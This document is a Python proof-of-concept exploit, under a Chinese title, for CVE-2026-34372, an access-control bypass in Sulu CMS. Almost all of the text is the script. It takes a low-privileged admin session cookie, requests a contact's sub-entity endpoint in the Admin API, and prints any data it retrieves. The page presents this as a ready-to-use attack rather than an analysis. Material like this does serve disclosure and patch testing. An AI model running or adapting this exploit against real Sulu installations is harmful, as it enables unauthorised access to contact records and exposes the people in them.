CVE-2026-34372 Sulu CMS权限绕过漏洞

import requests # Exploit Title: Sulu CMS Sub-entity Access Control Bypass (CVE-2026-34372) # Description: Exploits insufficient permission checks on contact sub-entities via Admin API. TARGET_URL = "http://target-sulu-instance.com" # Attacker needs a valid session cookie of a user with at least one role in Admin SESSION_COOKIE = "SESSION_ID_HERE" CONTACT_ID = "1" # ID of the target contact def exploit(): headers = { "Cookie": f"PHPSESSID={SESSION_COOKIE}", "Content-Type": "application/json" } # The endpoint to access contact sub-entities # This should be restricted to users with specific 'contact' permissions endpoint = f"{TARGET_URL}/admin/api/contacts/{CONTACT_ID}/accounts" # Example sub-entity print(f"[*] Attempting to access sub-entity for contact ID: {CONTACT_ID}...") try: response = requests.get(endpoint, headers=headers) if response.status_code == 200: print("[+] Exploit successful! Sub-entity data retrieved:") print(response.text) elif response.status_code == 403: print("[-] Access forbidden. Patched or permissions strict.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()